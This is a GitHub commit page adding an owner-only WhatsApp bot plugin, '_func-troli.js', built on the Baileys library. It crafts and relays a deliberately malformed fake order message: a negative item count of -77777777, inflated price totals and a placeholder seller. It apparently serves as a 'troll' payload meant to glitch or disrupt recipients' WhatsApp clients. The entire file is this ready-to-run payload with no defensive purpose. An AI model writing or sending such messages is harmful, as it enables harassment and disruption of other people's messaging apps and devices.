Skip to content

Commit

Permalink
Create _func-troli.js
Browse files Browse the repository at this point in the history
  • Loading branch information
Rlxfly authored Jul 1, 2022
1 parent 852c05a commit 9e1e83a
Showing 1 changed file with 27 additions and 0 deletions.
27 changes: 27 additions & 0 deletions plugins/_func-troli.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,27 @@
//terserah buat apa

import { generateWAMessageFromContent } from "@adiwajshing/baileys"

let handler = async (m, { conn }) => {
const prep = generateWAMessageFromContent(m.chat, { orderMessage: {
orderId: '5352482274766633',
thumbnail: thumb,
itemCount: -77777777,
status: 1,
surface: 1,
message: me,
orderTitle: 'Tidak tau',
sellerJid: '[email protected]',
token: '1655878716',
priceAmount: '666000',
totalAmount1000: '1000000000',
totalCurrencyCode: 'IDR',
contextInfo: null,
}}, { quoted: m })
await conn.relayMessage(m.chat, prep.message, { messageId: prep.key.id })

}

handler.command = /^trol$/i
handler.owner = true
export default handler

0 comments on commit 9e1e83a

Please sign in to comment.